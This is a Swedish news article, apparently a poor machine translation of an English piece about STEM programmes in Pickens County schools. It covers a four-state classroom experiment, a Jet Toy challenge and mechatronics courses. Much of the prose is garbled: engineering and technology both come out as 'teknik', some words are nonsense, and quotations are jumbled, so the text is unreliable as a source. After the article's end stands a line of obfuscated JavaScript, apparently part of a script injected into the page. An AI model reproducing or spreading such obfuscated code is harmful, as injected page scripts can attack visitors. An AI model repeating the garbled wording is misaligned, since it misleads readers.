Stem gör lärande en hybrid process – Greenville Nyheter

Av Julie Howle
Säg ett rockband gick på turné, stoppa i South Carolina, Pennsylvania, Missouri och South Dakota, och bandet instade en sjukdom. Nu är det ditt jobb att lista ut var de fick det. Låter inte som din traditionella sjunde klass vetenskap fråga, eller hur? Men snart, sjunde-graders i en Pickens County mellanstadieskola kommer att arbeta med elever i de tre andra staterna att utföra tester – från upplöst syre och pH-tester till kromatografi – och dela sina data praktiskt taget med hjälp av alla typer av teknik för att hitta svaret. Det är bara ett exempel på den växande rörelsen av STEM (Vetenskap, teknik, teknik och matematik) utbildning som integrerar områdena i en problemlösning, praktisk strategi. Jag tror att detta är färdigheter som de kommer att behöva i framtiden, säger Ron Webber, samordnare för karriär och gymnasieutbildning för skoldistriktet i Pickens County. Distriktet har STEM program och initiativ i K-12, och insatser för att integrera och införa sådana initiativ är på uppgång, säger Barbara Nesbitt, tidig barndom elementära och instruktionsteknik samordnare för distriktet. ”Om något är verkligen STEM det finns en integration över vetenskap, teknik, teknik och matematik, och det är inte isolerat,” Nesbitt sa. ”De lär sig mycket av de saker de skulle lära sig i matematik och naturvetenskap, men de är att integrera dem tillsammans genom en problemlösning aktivitet, vilket är där teknik och teknik kommer in, sade hon. ”
Jennifer Willis, Pickens Landsting ordförande och en förälder till barn i Pickens County skolor, sade STEM initiativet har också en inverkan på den ekonomiska utvecklingen i området. Willis sa att det kan hjälpa länet locka nya företag och jobb och redan har, som beskriver hur ett företag hört talas om framgången för robotteknik programmet i gymnasieskolor och kapaciteten hos områdets studenter, började prata med länet tjänstemän och beslutade att öppna en anläggning i Pickens County. Hon sa stem program och initiativ är ”fenomenal” för studenter också. ”Det är så viktigt för barnen att förstå hur de saker de gör i klassrummet översätta till ett jobb i framtiden, och robotteknik programmet är ett perfekt exempel på hur saker de lär sig i skolan översätta till ett jobb,” Willis sa. ”Och inte bara ett jobb där du överlever – ett jobb där du kan lyckas, där du kan klara dig bra ekonomiskt, där du kan avancera själv i framtiden.” På Edwards Middle, där vissa studenter snart kommer att ta itu med rockband vetenskap experiment, sjunde klass vetenskap lärare Jennifer Ellison sa STEM initiativ är viktiga ”eftersom det kommer att hålla våra barn uppdaterade med vad som händer med den verkliga världen och att förbereda dem för den verkliga världen.”
Ellison sa idén till rockbandet experiment projektet kom när hon träffades och slog sig ihop med tre sjunde klass lärare vetenskap från andra stater vid en konferens i Colorado förra året. ”Vi bestämde att vi trodde att det skulle vara en bra sak att visa barnen att i den verkliga världen i vetenskapen du delar dina data överallt,” sade hon.
Ellison sa att de kom på ett sätt för sina elever att dela sina data praktiskt taget genom teknik, inklusive Google Docs, Wikispaces, Skype och YouTube.
Studenter i alla hennes naturvetenskapliga klasser kommer att delta.
Över de fyra staterna, 600 till 800 studenter kommer att delta i vetenskap experimentet, sade Ellison. ”Den stora grejen med barn i dessa dagar är att de vill få kontakt med andra genom teknik, via sociala medier,” Ellison sa. ”Vad vi försöker göra är att förstå den önskan de har och försöka införliva det i ett klassrum så att det blir dem upphetsade.”
Bill Havice, biträdande dekanus för akademiska stödtjänster och grundutbildning i College of Health, utbildning och mänsklig utveckling vid Clemson University, sade integrativ STEM utbildning gjort på rätt sätt kan gynna alla studenter på alla nivåer.
Han sa: ”Du tillämpar vetenskapliga principer. Du använder matte. Du använder den teknik som vi har tillgängliga, och du väver in det i en teknisk design- och förfrågningsprocess som gör det hela meningsfullt.”
Havice sade integrativ STEM utbildning kan öka förtroendet för studenter, hålla studenter intresserade som kanske inte annars och hjälpa dem examen och få sin gymnasieexamen, och bättre förbereda eleverna för jobb som finns i landet. ”Vi kommer att få det bättre eftersom vi kommer att ha en utbildad folkrik som kan ta hand om denna utformade värld som vi har,” sade han. ”Vi lever i en mycket sofistikerad tid.”
Havice sade att det finns så mycket bortom informations- och kommunikationsteknik, såsom medicinsk, tillverkning, transport och energi och kraftteknik. Han sa att det måste finnas en utbildad arbetskraft för att ta itu med och ta hand om den utformade världen. Havice sade tillverkningsföretag lokaliserar i Upstate och behöver en kvalificerad arbetskraft med människor som kan använda, hantera, utvärdera, bedöma och förstå teknik inom dessa andra områden. Nesbitt sade i Pickens skoldistrikt, är målet för alla elever i distriktet att beröras av STEM initiativ någon gång. Hon sa femteklassare i distriktet gjorde en Jet Toy Challenge där de var tvungna att utforma en bil med ett chassi och hjul men lära sig att använda en ballong och olika storlek munstycken för att driva den. Jet Toys var tvungen att köra på en serie av fyra olika spår, varje spår med sin egen uppgift som att få Jet Toy att gå längst, sade Nesbitt. ”Barnen lär sig om krafter och rörelse, som är vetenskapliga begrepp, men de lär sig dem i samband med en problemlösning utmaning, sade hon. ” ”Alla matematiska färdigheter de lär sig är integrerade i denna utmaning där de lär sig om mätningar, och de lär sig om att registrera data,” Nesbitt sa. ”De testar munstycken och spår och hastigheter i olika storlek” ”och de gör en hel del kartläggning.”
Webber sade att på gymnasienivå, de flesta av STEM kurser är på Pickens County Karriär och Technology Center, såsom flera pre-engineering och biomedicinska vetenskaper kurser och mekatronik. Hank Hutto, mekatronik instruktör på karriärcentrum, sade mekatronik omfattar mekanik, elektronik, hydraulik, pneumatik, teknik, robotteknik och mycket mer. På en ny dag i mekatronik labbet, en student arbetade med programmering för en pekskärm som skulle hjälpa till att köra en robot. I närheten testade två andra motståndet på säkringarna i ett elskåp. ”Dessa killar, när de får sina fötter våta i fältet, det finns ingen talande var de kan gå,” Hutto sa. ”Det är definitivt att ge dem en fördel.” Han sa kurser som mekatronik bättre kan förbereda studenter för college och karriärer.
Brandon Roberts, 18, en Pickens High student som går till Karriär och Teknik Center för mekatronik, sa att han tycker om att komma till centrum eftersom han är ”mer av en praktisk person.” Roberts sa att han tog introduktion till el hans nionde klass år och mekatronik kurser de andra tre åren. Roberts mor, Donna Roberts, som också har en son på Pickens Middle, sade insatser för att införliva fler STEM initiativ och program för studenter är stora.
”Det kommer att ge dem mer av en praktisk, hur det kommer att bli när de tar examen från gymnasiet eller college, hur fälten kommer att se ut, sade hon. ” ”Jag tror bara att det är där jobben kommer att vara för framtiden, och det bara ger dem ett försprång,” Roberts sa. Hon sa att hennes yngre son redan har fått sig att göra mekatronik på karriärcentret. ”Han vill följa precis bakom sin bror,” Roberts sa. Webber sade att det också finns fritidsaktiviteter i både mellan- och gymnasieskolor som omfattar STEM, inklusive robottävlingar och klubbar som FLL, eller FIRST Lego League, som erbjuds på mellanstadiet, och FRC, eller FIRST Robotics Competition, som erbjuds på gymnasieskolorna. ”Varje år får de ett nytt problem, och de tar samma uppsättning robotdelar och motorer och sensorer och de bygger en robot som kan utföra vissa uppgifter på ett bord,” sade han. Nesbitt sade att det finns ett försök att införliva STEM initiativ i skolor runt om i landet. Hon sa STEM projekt är hands on och är ofta team-orienterade med studenter som arbetar i grupper om två till fyra. ”Det fina med STEM är att det tillåter eleverna att lära sig att komma överens med andra människor för att lösa problem,” Nesbitt sa. ”Dessa STEM-problem är tänkta att efterlikna hur vuxna löser problem inom vetenskap, teknik, ingenjörsvetenskap och matematik.” Hon sa STEM hjälper förbereda eleverna för vad de kommer att möta när de har karriärer. Företagsledare berättar lärare att studenter som är mest framgångsrika är de med problemlösning färdigheter, oavsett område, sade Nesbitt. Hon sade företagsledare också prata ”om och om igen” om vikten av mjuka färdigheter som att dyka upp i tid, arbeta som ett team, att kunna lösa ett problem, hålla en tidsfrist, att kunna dela idéer och lyssna på andras argument. STEM kan hjälpa eleverna att utveckla dessa mjuka färdigheter de måste vara anställningsbara, sade Nesbitt.
Hon sa att det finns också en rörelse för att balansera undervisning om den naturliga världen och den utformade, eller konstgjorda, världen. ”Vad de behöver veta är hur man arbetar i en värld där de allra flesta jobb har att göra med att utforma eller omforma
teknik för att passa mänskliga behov,” Nesbitt sa. ”Vi vill inte överge vetenskapliga undersökningar för naturvetenskaperna,” sade hon. ”Vi vill bara lägga på att balansen i den designade världen.”
 Artikel Länk
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};